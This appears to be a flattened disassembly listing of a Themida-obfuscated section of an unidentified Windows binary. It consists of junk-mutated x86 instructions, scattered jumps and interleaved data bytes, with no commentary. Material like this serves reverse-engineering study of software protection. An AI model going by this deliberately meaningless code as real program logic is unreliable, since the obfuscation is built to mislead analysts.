loc_5A8817 ; --------------------------------------------------------------------------- loc_5AB672: ; CODE XREF: Themida_:00598ACDj xchg ecx, [esp] pop esp jmp loc_59838C ; --------------------------------------------------------------------------- db 5Fh dd 0FFD7BFE9h db 0FFh ; --------------------------------------------------------------------------- loc_5AB681: ; CODE XREF: Themida_:0059F527j add ebp, 4 push eax mov eax, 4 add ebp, eax pop eax xchg ebp, [esp] mov esp, [esp] sub esp, 4 mov [esp], ebp push 67725F0h pop ebp jmp loc_5AAB5E ; --------------------------------------------------------------------------- loc_5AB6AA: ; CODE XREF: Themida_:005A51D7j pop ebx xchg esi, [esp] jmp loc_5A9E49 ; --------------------------------------------------------------------------- loc_5AB6B3: ; CODE XREF: Themida_:0059BAB2j pop esp mov [esp], eax push dword ptr [esp+4] pop eax pop dword ptr [esp] jmp loc_5AB144 ; --------------------------------------------------------------------------- loc_5AB6C4: ; CODE XREF: Themida_:005A3D37j mov [esp], ebp push dword ptr [esp+4] push dword ptr [esp] jmp loc_5AB4A5 ; --------------------------------------------------------------------------- loc_5AB6D3: ; CODE XREF: Themida_:005ACE04j add ecx, ebp push eax mov eax, 51FF0149h jmp loc_5AE0CB ; --------------------------------------------------------------------------- loc_5AB6E0: ; CODE XREF: Themida_:005A8D8Dj push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_5A211E ; --------------------------------------------------------------------------- loc_5AB6EE: ; CODE XREF: Themida_:005A81D4j jbe loc_5A6BB0 xor edx, 4A9E9949h push 6660h jmp loc_5A5162 ; --------------------------------------------------------------------------- loc_5AB704: ; CODE XREF: Themida_:005A7477j ; Themida_:005ADB09j pop esi pop dword ptr [esp] mov esp, [esp] dec byte ptr [esp] pushf jmp loc_59838C ; --------------------------------------------------------------------------- dd 8324348Ah, 0B05004C4h, 58C6206Dh, 8071EE80h, 0D7E945C5h db 0F1h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5AB72B: ; CODE XREF: Themida_:005A8E20j xor al, ch pop ecx push small 3940h mov [esp], cx sub esp, 4 jmp loc_5989A6 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 4C481h, 59660000h, 0F02EFC0h, 392684h, 0F3D6E900h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5AB75A: ; CODE XREF: Themida_:005A5E5Dj mov ecx, [esp] jmp loc_5AA25B ; --------------------------------------------------------------------------- loc_5AB762: ; CODE XREF: Themida_:005A993Cj sub ebx, ecx pop ecx sub ebx, 1EC70CAAh sub eax, ebx jmp loc_5A7DEB ; --------------------------------------------------------------------------- dw 0C481h dd 4, 28BF6856h, 24890000h, 4BD5524h, 1000000h, 5D04246Ch dd 0FEE537E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AB791: ; CODE XREF: Themida_:005ABE32j mov edx, 4 jmp loc_5A688E ; --------------------------------------------------------------------------- loc_5AB79B: ; CODE XREF: Themida_:00599CF8j shr edx, 6 jmp loc_5ABEC3 ; --------------------------------------------------------------------------- loc_5AB7A3: ; CODE XREF: Themida_:005A06DEj add esp, 4 pop dword ptr [esp] pop esp sub esp, 4 mov [esp], ecx jmp loc_5A4898 ; --------------------------------------------------------------------------- db 0FFh dd 59042474h, 8B24048Fh, 0C1E92424h, 81FFFECBh, 84D652F3h dd 8BDD899Ch, 0C483241Ch, 3A05E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5AB7DE: ; CODE XREF: Themida_:005AE2E8j pop esp mov [esp], ebx push edi push 20A32C03h jmp loc_59DF7B ; --------------------------------------------------------------------------- aMrB db '¬R²‘',0 dw 5AD0h dd 8904EC83h, 9DB3241Ch, 2C5BD800h, 4D82823h, 2686623h dd 0C89667Dh, 0E4EBE924h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5AB812: ; CODE XREF: Themida_:005A2956j add edx, 4 xchg edx, [esp] jmp loc_5A75E2 ; --------------------------------------------------------------------------- loc_5AB820: ; CODE XREF: Themida_:005A1F6Cj pop ecx sub ebx, 4 xchg ebx, [esp] mov esp, [esp] mov [esp], eax push 7219h mov [esp], esp sub esp, 4 mov [esp], eax push 8E3h mov [esp], ebx push 12A27447h mov ebx, [esp] push ebp jmp loc_5AE946 ; --------------------------------------------------------------------------- dd 24048B66h, 722C68h, 241C8900h, 5E6468h, 4EC8100h, 54000000h dd 0E924048Fh, 0FFFFF5A1h ; --------------------------------------------------------------------------- loc_5AB874: ; CODE XREF: Themida_:00598597j add esp, 4 xor cl, 21h sub cl, 5Ah push ebx mov bl, 0EDh push eax mov al, 95h xor al, 0ADh neg al sub al, 49h xor bl, al jmp loc_59A5AC ; --------------------------------------------------------------------------- dd 4BFh, 8BFA0100h, 0C481243Ch, 4, 8B241487h, 30FF2424h dd 0FECFF0E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AB8AD: ; CODE XREF: Themida_:005A440Ej push 4C19h mov [esp], ecx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_59AB9F ; --------------------------------------------------------------------------- loc_5AB8C4: ; CODE XREF: Themida_:00598DEEj ; Themida_:005AD4CDj push esi push 0FFFh mov [esp], edx jmp loc_5A2C0A ; --------------------------------------------------------------------------- loc_5AB8D2: ; CODE XREF: Themida_:005A7388j sub ebx, 5F967DA5h mov edi, ebx pop ebx push ecx jmp loc_5A6F62 ; --------------------------------------------------------------------------- db 54h, 8Bh, 1Ch dd 0F8FCE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AB8EA: ; CODE XREF: Themida_:0059DF69j push esp jmp loc_5A6549 ; --------------------------------------------------------------------------- loc_5AB8F0: ; CODE XREF: Themida_:005A0476j sub edx, 48CF1EB6h sub edx, ebx add edx, 48CF1EB6h jmp loc_5A3389 ; --------------------------------------------------------------------------- loc_5AB903: ; CODE XREF: Themida_:005AABAEj shl ch, 7 shl ch, 3 and ch, 0D6h add ch, 1 jmp loc_59F5FC ; --------------------------------------------------------------------------- loc_5AB914: ; CODE XREF: Themida_:0059CD4Aj push ebp push 2F60h jmp loc_5AEB68 ; --------------------------------------------------------------------------- loc_5AB91F: ; CODE XREF: Themida_:00599E5Cj jz loc_5A2828 push ecx mov ecx, 54AD5F2Fh inc ecx xor ecx, 7EC40FF6h sub edi, ecx pop ecx add edi, 25826B34h mov edx, edi pop edi xor eax, edx mov edx, [esp] add esp, 4 push edx mov edx, 0B674FB8h or edx, 262F7ABCh or edx, 6FDA4C9Dh xor edx, 6763E36Ch jmp loc_5A4ADD ; --------------------------------------------------------------------------- loc_5AB966: ; CODE XREF: Themida_:0059F755j ; Themida_:005AA1C0j xor edx, 7503011Bh jz loc_59B5DD jmp loc_5AC861 ; --------------------------------------------------------------------------- loc_5AB977: ; CODE XREF: Themida_:005AD5D5j push edi mov edi, 4AD8628Bh add ebp, edi jmp loc_5A7799 ; --------------------------------------------------------------------------- dd 0BB92D805h, 6A8CE9E8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AB98E: ; CODE XREF: Themida_:005A8319j xchg ecx, [esp] jmp loc_5A475B ; --------------------------------------------------------------------------- loc_5AB996: ; CODE XREF: Themida_:005A6B2Ej add esp, 4 pop ebx push ecx mov ecx, 2C477FDAh add esi, ecx mov ecx, [esp] add esp, 4 jmp loc_5ADADF ; --------------------------------------------------------------------------- loc_5AB9B0: ; CODE XREF: Themida_:005A62BCj mov edi, eax pop eax shr edi, 8 inc edi neg edi push esi mov esi, 34392363h and esi, 4CB42418h and esi, 5AA03593h sub esi, 590A56AEh jmp loc_5A8948 ; --------------------------------------------------------------------------- loc_5AB9D6: ; CODE XREF: Themida_:005A5D5Aj pop edx sub esp, 4 mov [esp], ebx jmp loc_59DDDF ; --------------------------------------------------------------------------- loc_5AB9E2: ; CODE XREF: Themida_:0059F8ECj shl esi, 1 or esi, 4FFE345Eh add esi, 0B0014AA6h add ebp, 240C01FFh jmp loc_59E9D5 ; --------------------------------------------------------------------------- loc_5AB9FB: ; CODE XREF: Themida_:005A066Ej pop ebx push ecx mov ecx, 4 add edx, ecx jmp loc_59CEF9 ; --------------------------------------------------------------------------- db 88h, 0D7h, 88h dd 885A5BFDh, 0FDCEE9EEh, 0C481FFFEh, 4, 55CFEB81h, 0ADE94AF2h db 0F1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5ABA27: ; CODE XREF: Themida_:005AD9DFj push dword ptr [esp] mov esi, [esp] add esp, 4 push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp sub edi, 0C883FC3Bh push edi push eax mov eax, 600424D3h add [esp+4], eax jmp loc_5AEACA ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 0ECA7E904h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5ABA62: ; CODE XREF: Themida_:005A5593j ; Themida_:005A8051j or ebp, 0AA54ADCh and ebp, 6BD0152Bh xor ebp, 4BD97601h add ecx, ebp pop ebp add edi, 0D5F2FE7h jmp loc_59A16B ; --------------------------------------------------------------------------- loc_5ABA82: ; CODE XREF: Themida_:005A7265j push esi mov esi, 433562F4h push esi not dword ptr [esp] pop esi sub esp, 4 jmp loc_5AB411 ; --------------------------------------------------------------------------- loc_5ABA95: ; CODE XREF: Themida_:005A7FF4j mov [esp], ebx sub esp, 4 mov [esp], ecx push esp pop ecx jmp loc_59C7B8 ; --------------------------------------------------------------------------- loc_5ABAA8: ; CODE XREF: Themida_:005A9159j mov cl, 81h push ebx push edx push ecx mov cl, 0ABh jmp loc_59D0AA ; --------------------------------------------------------------------------- loc_5ABAB4: ; CODE XREF: Themida_:0059D889j and edx, 36137A5Eh and edx, 3FDA6013h jmp loc_5A2D95 ; --------------------------------------------------------------------------- db 68h, 0A4h, 0Dh dd 815D18B2h, 644E11CDh, 9F860F4Eh, 81FFFECFh, 31413CE5h dd 86E5811Ah, 815DE04Dh, 0F5C4B2EDh, 5DEE8910h, 7C4EEE81h dd 0F501072Ah, 35EFE9h db 0 ; --------------------------------------------------------------------------- loc_5ABAF9: ; CODE XREF: Themida_:005A5272j add esp, 4 jmp loc_59838C ; --------------------------------------------------------------------------- loc_5ABB01: ; CODE XREF: Themida_:005A7FBFj mov esi, [esp] jmp loc_5A2110 ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 0FF9BFDE9h, 8D55E9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5ABB16: ; CODE XREF: Themida_:005A5253j xor al, 25h jmp loc_5A6060 ; --------------------------------------------------------------------------- aBusv? db 'ξS’?',0 db 2Dh dd 0DEC74BAh, 0BA05F001h, 0FF0DEC74h, 0FEE92434h db 0D8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5ABB37: ; CODE XREF: Themida_:005A4D34j pop edx jmp loc_59B51D ; --------------------------------------------------------------------------- loc_5ABB3D: ; CODE XREF: Themida_:005A63F5j and edi, 15FD699Ch xor edi, 74F571ACh sub edi, 0F6D12C0h xor edi, 2104665Fh jmp loc_5AE327 ; --------------------------------------------------------------------------- loc_5ABB5A: ; CODE XREF: Themida_:005A35C2j sub ebx, 57A30324h and ebx, 14355E2Fh or ebx, 61CB6B7Eh dec ebx jmp loc_59EEE5 ; --------------------------------------------------------------------------- loc_5ABB72: ; CODE XREF: Themida_:0059E5EAj neg ch push edx mov dl, ch jmp loc_5A9D4F ; --------------------------------------------------------------------------- loc_5ABB7C: ; CODE XREF: Themida_:005A3BF5j xor dh, ch pop ecx mov bl, dh pop edx sub bl, 78h add bl, ah push dx mov dh, 78h sub bl, 7 add bl, dh jmp loc_5A6550 ; --------------------------------------------------------------------------- db 0B9h, 4, 0 dd 4C010000h, 0CAE90424h, 0D2FFFFA6h, 0E99C242Ch, 0FFFFD7CEh ; --------------------------------------------------------------------------- loc_5ABBAC: ; CODE XREF: Themida_:00599124j ; Themida_:005AB44Aj sub ecx, 31077A65h add ecx, ebp add ecx, 31077A65h jmp loc_59D66A ; --------------------------------------------------------------------------- db 5Dh dd 4C581h, 0ED830000h, 242C8704h, 2414895Ch, 212954BAh dd 0FDAF736h, 0FFA9FC88h, 8F0F42FFh, 0FFFF4E31h, 2BBC281h db 0D0h, 56h, 51h ; --------------------------------------------------------------------------- loc_5ABBEB: ; CODE XREF: Themida_:005A1257j inc ch jnp loc_59CF0B jmp loc_5A3D56 ; --------------------------------------------------------------------------- dd 0FF0636E9h db 0FFh ; --------------------------------------------------------------------------- loc_5ABBFD: ; CODE XREF: Themida_:0059CD2Bj ; Themida_:005A2AA9j mov esi, 5D7F5D71h push ebp push eax push 3CE84A06h pop eax neg eax jnb loc_5A3D92 add eax, 42955775h mov ebp, eax jmp loc_5A7EDF ; --------------------------------------------------------------------------- loc_5ABC1E: ; CODE XREF: Themida_:005AAF2Fj sub ebp, esi mov esi, [esp] add esp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], ebx mov ebx, 4 sub ebp, 68016A0Ch sub ebp, 5CA5680Bh jmp loc_59F340 ; --------------------------------------------------------------------------- dd 7630BDh, 1F282D5Ch, 572D0B9Eh, 10BB93Eh, 3E5705E8h dd 28050BB9h, 0E90B9E1Fh, 3909h ; --------------------------------------------------------------------------- loc_5ABC68: ; CODE XREF: Themida_:0059EB02j xor esi, 0E7825D5h mov edx, esi jmp loc_59F859 ; --------------------------------------------------------------------------- loc_5ABC75: ; CODE XREF: Themida_:005A593Fj mov [esp], ebx jmp loc_5994BC ; --------------------------------------------------------------------------- loc_5ABC7D: ; CODE XREF: Themida_:0059F175j add esp, 4 add esp, 4 pop dword ptr [esp] jmp loc_5AB546 ; --------------------------------------------------------------------------- loc_5ABC8B: ; CODE XREF: Themida_:00599B78j neg cl and cl, 45h jns loc_5AE959 jmp loc_5A0EB8 ; --------------------------------------------------------------------------- db 29h dd 0DB93E9D8h, 8153FFFEh, 0DA341FC6h, 73866813h, 1C890000h dd 1C8B5424h, 0E1895124h, 4C181h, 0C1830000h, 6FDE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5ABCC6: ; CODE XREF: Themida_:005ADDC7j mov cx, 6C00h add cx, 525Eh add cx, 0FFFFh not cx push edi mov edi, esp add edi, 4 push eax mov eax, 390A01EBh and eax, 17DC5829h shl eax, 5 neg eax and eax, 318B3FE2h sub eax, 108B3ADCh jmp loc_59E92B ; --------------------------------------------------------------------------- dw 1489h dd 1E99E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5ABD06: ; CODE XREF: Themida_:0059EEC5j add ebp, 2 xchg ebp, [esp] jmp loc_59D026 ; --------------------------------------------------------------------------- loc_5ABD11: ; CODE XREF: Themida_:005A1CEFj mov [esp], esi mov esi, 170A1E07h add eax, 0F7E7A68h sub eax, esi push ecx mov ecx, 7DEE1956h or ecx, 78376B4h add ecx, 8F8EFA72h add eax, 2E8A5AE4h sub eax, ecx jmp loc_5A0B38 ; --------------------------------------------------------------------------- dw 49E9h db 0C6h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5ABD43: ; CODE XREF: Themida_:005AB5F7j pop esp jmp loc_5A483A ; --------------------------------------------------------------------------- loc_5ABD49: ; CODE XREF: Themida_:0059F183j mov [esp], edx push 2F48h mov [esp], esp jmp loc_5A8B7A ; --------------------------------------------------------------------------- loc_5ABD59: ; CODE XREF: Themida_:005A257Ej mov ecx, edx pop edx jmp loc_5A07D0 ; --------------------------------------------------------------------------- db 0ACh, 81h, 0ECh dd 4, 50240C89h, 0C156E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5ABD72: ; CODE XREF: Themida_:005A9F1Fj add ebx, 6A5B14DBh jmp loc_5A7751 ; --------------------------------------------------------------------------- loc_5ABD7D: ; CODE XREF: Themida_:0059C67Cj xor cl, 76h and al, cl mov ecx, [esp] add esp, 4 push ebx jmp loc_5ACB84 ; --------------------------------------------------------------------------- loc_5ABD91: ; CODE XREF: Themida_:005A8F98j add ebx, esi jmp loc_5ACA1E ; --------------------------------------------------------------------------- loc_5ABD98: ; CODE XREF: Themida_:005AD97Aj not esi not esi jmp loc_5A67D4 ; --------------------------------------------------------------------------- loc_5ABDA1: ; CODE XREF: Themida_:005A08D5j pop ecx push ecx push 72860BF7h mov ecx, [esp] add esp, 4 jmp loc_5A5A2A ; --------------------------------------------------------------------------- loc_5ABDB3: ; CODE XREF: Themida_:005A23F0j push edi jmp loc_5A8D7A ; --------------------------------------------------------------------------- loc_5ABDB9: ; CODE XREF: Themida_:00599193j jmp loc_59B41F ; --------------------------------------------------------------------------- loc_5ABDBE: ; CODE XREF: Themida_:005AC893j push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp push 57DFh mov [esp], esi mov esi, 2A1F0BF6h push ecx mov ecx, 551A6F26h jmp loc_5A79D3 ; --------------------------------------------------------------------------- db 0Fh dd 0FF325C8Bh, 38E947FFh db 0C0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5ABDEB: ; CODE XREF: Themida_:005A2B6Bj mov [esp], edx mov edx, 4 push esi jmp loc_59AC46 ; --------------------------------------------------------------------------- db 56h, 55h, 0E9h dd 0FFFFFCC5h ; --------------------------------------------------------------------------- loc_5ABE00: ; CODE XREF: Themida_:005ACB5Cj pop eax jmp loc_5A1926 ; --------------------------------------------------------------------------- loc_5ABE06: ; CODE XREF: Themida_:00599E3Aj sub [esp], al pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_5ABE0F: ; CODE XREF: Themida_:0059F7D4j mov esi, [esp] jmp loc_5985C8 ; --------------------------------------------------------------------------- loc_5ABE17: ; CODE XREF: Themida_:005A9D80j ; Themida_:005AA190j sub eax, edi pop edi mov esi, [esp] add esp, 4 sub eax, 4 xchg eax, [esp] mov esp, [esp] mov [esp], esp push edx jmp loc_5AB791 ; --------------------------------------------------------------------------- loc_5ABE37: ; CODE XREF: Themida_:005A4721j push esi mov esi, 45594DF4h push edi mov edi, 1FFF67B2h xor edi, 5C674848h jmp loc_5AE0E8 ; --------------------------------------------------------------------------- loc_5ABE4E: ; CODE XREF: Themida_:005A10C1j add edi, esi pop esi push dword ptr [esp] mov eax, [esp] add esp, 4 push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_59DE5D ; --------------------------------------------------------------------------- loc_5ABE71: ; CODE XREF: Themida_:0059C295j mov [esp], ebp mov ebp, 70AE3248h push edi mov edi, 0FFFFFFFFh sub ebp, 3C585722h add ebp, edi add ebp, 3C585722h pop edi add ebp, 7C12003Ch jmp loc_5A904D ; --------------------------------------------------------------------------- db 56h, 89h, 0E6h dd 4C681h, 0BF570000h, 6A6A7D3Fh, 82C5C781h, 0ADE99595h dd 5BFFFFD4h, 0B252C828h, 0AEC280F9h, 1E9152Ch db 0F7h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5ABEC3: ; CODE XREF: Themida_:005AB79Ej sub edx, offset byte_4024FE add ebp, edx mov edx, [esp] add esp, 4 push edx mov edx, 4B7B6DE6h jmp loc_5996FE ; --------------------------------------------------------------------------- db 58h dd 0FEF110E9h db 0FFh ; --------------------------------------------------------------------------- loc_5ABEE5: ; CODE XREF: Themida_:005AB4A0j and edi, 2882D0Fh dec edi shr edi, 2 shl edi, 3 sub edi, 1F68E810h sub ebp, edi jmp loc_5A19E7 ; --------------------------------------------------------------------------- loc_5ABEFF: ; CODE XREF: Themida_:0059A6CCj shr eax, 7 jmp loc_5988F7 ; --------------------------------------------------------------------------- loc_5ABF07: ; CODE XREF: Themida_:005A7D59j add edi, 4 jmp loc_5AA878 ; --------------------------------------------------------------------------- loc_5ABF12: ; CODE XREF: Themida_:005A9173j xor ebp, 735A1F23h mov ecx, ebp pop ebp add ecx, esi jmp loc_59B125 ; --------------------------------------------------------------------------- loc_5ABF22: ; CODE XREF: Themida_:005A2CF7j pop edi sub ebx, esi push esi jmp loc_5AE70F ; --------------------------------------------------------------------------- loc_5ABF2B: ; CODE XREF: Themida_:0059E5A3j pop ebp add esp, 4 add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] xor ebx, eax pop dword ptr [eax] jmp loc_59838C ; --------------------------------------------------------------------------- dw 0E735h dd 0D47AA0Ch, 14282CDDh, 8A008A0Fh, 9E2DFFFFh, 0F0FD812h dd 0FF50278Fh, 538535FFh, 0C7891B8Ah db 58h, 0D1h, 0E7h ; --------------------------------------------------------------------------- loc_5ABF6F: ; CODE XREF: Themida_:loc_5A97A0j shl ah, 3 shl ah, 5 jmp loc_5A8E0B ; --------------------------------------------------------------------------- dw 34FFh dd 2434FF24h, 0E92434FFh, 0FFFEDDF6h, 5C241487h, 0E38B951h dd 0CE0136BAh, 0FFCF9FE9h db 0FFh ; --------------------------------------------------------------------------- loc_5ABF99: ; CODE XREF: Themida_:0059F2BEj push ebp push 1E2Ch mov [esp], esp add dword ptr [esp], 4 mov ebp, [esp] add esp, 4 add ebp, 4 push eax mov eax, 4 add ebp, 33985F51h add ebp, eax jmp loc_5AE0D8 ; --------------------------------------------------------------------------- loc_5ABFCB: ; CODE XREF: Themida_:00598518j ; Themida_:005ADC97j xor edx, [esp] pop esp mov [esp], esi mov esi, 49AD12D1h jmp loc_5A855B ; --------------------------------------------------------------------------- loc_5ABFDC: ; CODE XREF: Themida_:005A138Aj xchg esi, [esp] pop esp jmp loc_59B9CD ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 0AECAE924h, 8166FFFFh, 66B194F6h, 34FFF089h, 4785E924h dd 0D868FFFFh, 89000051h, 7EE9242Ch db 0D0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AC00B: ; CODE XREF: Themida_:005A3066j sub ecx, 0E789D579h add edx, ecx jmp loc_5A4204 ; --------------------------------------------------------------------------- dd 4EC81h, 0C890000h, 1B686624h, 1C89661Ch, 5242B724h dd 4EC81h, 0C890000h, 1332E924h, 0C689FFFFh, 6DEAE958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AC042: ; CODE XREF: Themida_:005A65D4j mov eax, 0C92A7068h push ebx mov ebx, 34BA0E74h neg ebx and ebx, 1A613638h shl ebx, 3 inc ebx jmp loc_5ACA39 ; --------------------------------------------------------------------------- dw 0EB81h dd 29380598h, 738CBE56h, 0F3017907h, 0E9F3015Eh, 86Bh ; --------------------------------------------------------------------------- loc_5AC074: ; CODE XREF: Themida_:005A3182j push edx pop ebx pop edx add edx, ebx pop ebx xor edx, [esp] jmp loc_5A1765 ; --------------------------------------------------------------------------- loc_5AC082: ; CODE XREF: Themida_:005A9AA0j mov esi, esp jmp loc_5A89A4 ; --------------------------------------------------------------------------- loc_5AC089: ; CODE XREF: Themida_:0059843Dj add eax, 3B441546h pop esi jmp loc_5A007C ; --------------------------------------------------------------------------- dd 0ACE9595Bh, 0B9FFFF9Ah, 595D2EF9h, 8159CD09h, 0F4627EEDh dd 0A307E91Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AC0AE: ; CODE XREF: Themida_:0059F1C6j push dword ptr [esp] jmp loc_5A3C7D ; --------------------------------------------------------------------------- loc_5AC0B6: ; CODE XREF: Themida_:005A1AC1j add edx, eax pop eax jmp loc_59CEA7 ; --------------------------------------------------------------------------- loc_5AC0BE: ; CODE XREF: Themida_:00598E79j add esp, 4 xor dl, 0ACh jmp loc_59A28D ; --------------------------------------------------------------------------- loc_5AC0C9: ; CODE XREF: Themida_:0059BE4Aj add edi, 6B776DF9h add ebp, edi pop edi jmp loc_5AE2ED ; --------------------------------------------------------------------------- db 89h dd 0E189240Ch, 4BF57h, 78E90000h db 0D3h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5AC0E7: ; CODE XREF: Themida_:0059B0D0j sub esi, 69207AA1h xor ebx, esi jmp loc_5A1040 ; --------------------------------------------------------------------------- loc_5AC0F4: ; CODE XREF: Themida_:005998A5j shl ah, 7 jmp loc_5A6D4B ; --------------------------------------------------------------------------- loc_5AC0FC: ; CODE XREF: Themida_:005A5EFAj sub bl, dh add bl, 0F3h jmp loc_5A99F9 ; --------------------------------------------------------------------------- loc_5AC106: ; CODE XREF: Themida_:0059BA1Aj mov ecx, esp add ecx, 4 add ecx, 4 push ecx jmp loc_59BB1F ; --------------------------------------------------------------------------- loc_5AC117: ; CODE XREF: Themida_:005ACF30j xchg edi, [esp] mov esp, [esp] mov [esp], ebp jmp loc_5A3879 ; --------------------------------------------------------------------------- loc_5AC125: ; CODE XREF: Themida_:005A2675j or esi, 1F694CE8h shl esi, 6 add esi, 194E3439h sub ecx, esi pop esi jmp loc_5AD310 ; --------------------------------------------------------------------------- dd 376302BAh, 0EAC14A71h, 53E94202h db 29h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5AC14B: ; CODE XREF: Themida_:loc_5A3F60j xor eax, 384D5E7Eh mov ecx, eax pop eax push edi mov edi, 29554CB9h add edi, 0FFFFFFFFh shr edi, 7 shl edi, 1 sub edi, 0A378561Eh add ecx, edi pop edi jmp loc_5A070E ; --------------------------------------------------------------------------- db 5Eh dd 8B240487h, 515D2424h, 0E9E28952h, 0FFFF3555h, 0C2815A54h dd 4, 8704C283h, 505C2414h, 0FFA9F0E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AC195: ; CODE XREF: Themida_:0059AB16j inc esi sub esi, 0E004D94Ah add edi, esi pop esi push dword ptr [esp] pop ebp add esp, 4 add edi, 4 jmp loc_59FB43 ; --------------------------------------------------------------------------- loc_5AC1B1: ; CODE XREF: Themida_:00598906j ; Themida_:0059BF2Dj mov edx, 0CC392AB7h add ebp, edx pop edx xor ebx, ebp pop ebp push ebx jmp loc_5AC61C ; --------------------------------------------------------------------------- dw 0EE81h dd 9D93421h, 0FFE5A8E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AC1CD: ; CODE XREF: Themida_:0059A3AAj inc ebp sub ebp, 0A64CA938h xor edx, ebp pop ebp add ebp, edx mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], ecx push 4 mov ecx, [esp] push ecx jmp loc_5AEFAF ; --------------------------------------------------------------------------- loc_5AC1F3: ; CODE XREF: Themida_:005ACA98j push 460D33D0h jmp loc_5AD411 ; --------------------------------------------------------------------------- loc_5AC1FD: ; CODE XREF: Themida_:005A1C2Fj shl ebp, 2 inc ebp shl ebp, 2 jmp loc_5A4D27 ; --------------------------------------------------------------------------- db 5Ch, 89h, 3Ch dd 8B5F5124h, 8950240Ch, 4DDAE9E0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AC21A: ; CODE XREF: Themida_:005A7057j pop edi xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp mov [esp], edx push eax pushf jmp loc_59838C ; --------------------------------------------------------------------------- db 50h dd 405E089h, 51000000h, 7A12C368h, 9F0FE93Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AC242: ; CODE XREF: Themida_:005A5E0Ej jmp loc_5AD92A ; --------------------------------------------------------------------------- db 0FFh dd 0E9042474h, 0FFFF8F20h ; --------------------------------------------------------------------------- loc_5AC250: ; CODE XREF: Themida_:005AF136j push eax push 371F187Fh mov eax, [esp] add esp, 4 sub eax, 7F25F78h jg loc_5AAF7D jmp loc_5AEAF5 ; --------------------------------------------------------------------------- db 58h dd 0FEEFE8E9h db 0FFh, 8Ah, 0CCh ; --------------------------------------------------------------------------- loc_5AC277: ; CODE XREF: Themida_:0059B09Aj pop eax xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp jmp loc_5AF1FD ; --------------------------------------------------------------------------- db 52h dd 0A5344BBAh, 14F7522Eh, 0EA815A24h, 0FFFFFFFFh, 7CE8C281h dd 0E953072Dh, 0FFFF329Dh ; --------------------------------------------------------------------------- loc_5AC2A4: ; CODE XREF: Themida_:0059EE65j jnp loc_5AC66C jmp loc_5A0A05 ; --------------------------------------------------------------------------- loc_5AC2AF: ; CODE XREF: Themida_:0059A888j pop ecx jmp loc_5ADB6C ; --------------------------------------------------------------------------- loc_5AC2B5: ; CODE XREF: Themida_:00599EA6j and eax, ebp push dword ptr [esp] pop ebp push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ecx mov ecx, esp add ecx, 4 sub esp, 4 jmp loc_5A4241 ; --------------------------------------------------------------------------- loc_5AC2E2: ; CODE XREF: Themida_:005A6CE9j sub ebx, ecx pop ecx pop esi jmp loc_59AF6A ; --------------------------------------------------------------------------- loc_5AC2EB: ; CODE XREF: Themida_:005AF070j popa jmp loc_5A27C8 ; --------------------------------------------------------------------------- loc_5AC2F1: ; CODE XREF: Themida_:0059983Aj mov [esp], ebp jmp loc_5A59F1 ; --------------------------------------------------------------------------- loc_5AC2F9: ; CODE XREF: Themida_:005A3A9Dj push edx mov dl, 27h xor dl, 0CDh push ecx jmp loc_5A6459 ; --------------------------------------------------------------------------- loc_5AC305: ; CODE XREF: Themida_:0059D53Dj jnp loc_5A464E add edi, 8B3F063Ah mov ebx, edi pop edi sub ebx, 0DE47EF5Ch jmp loc_59B5CD ; --------------------------------------------------------------------------- loc_5AC31F: ; CODE XREF: Themida_:0059B661j inc eax not eax jmp loc_59B08B ; --------------------------------------------------------------------------- loc_5AC327: ; CODE XREF: Themida_:0059BB48j xor edx, 50F478D0h jge loc_5AB394 jmp loc_5A2E06 ; --------------------------------------------------------------------------- dd 53B75366h db 0Ch, 2Ch ; --------------------------------------------------------------------------- loc_5AC33E: ; CODE XREF: Themida_:005A7587j xor edi, 20763594h sub edi, 0C024417h sub ebp, edi mov edi, [esp] jmp loc_59A587 ; --------------------------------------------------------------------------- dd 89240C89h, 4C181E1h, 83000000h, 0C8704E9h, 24248B24h dd 0B8240489h, 380A7D07h, 7DB7BB53h, 0D8315812h, 0E9241C8Bh dd 0FFFF9B1Dh ; --------------------------------------------------------------------------- loc_5AC380: ; CODE XREF: Themida_:005A217Fj add esp, 4 sub esp, 4 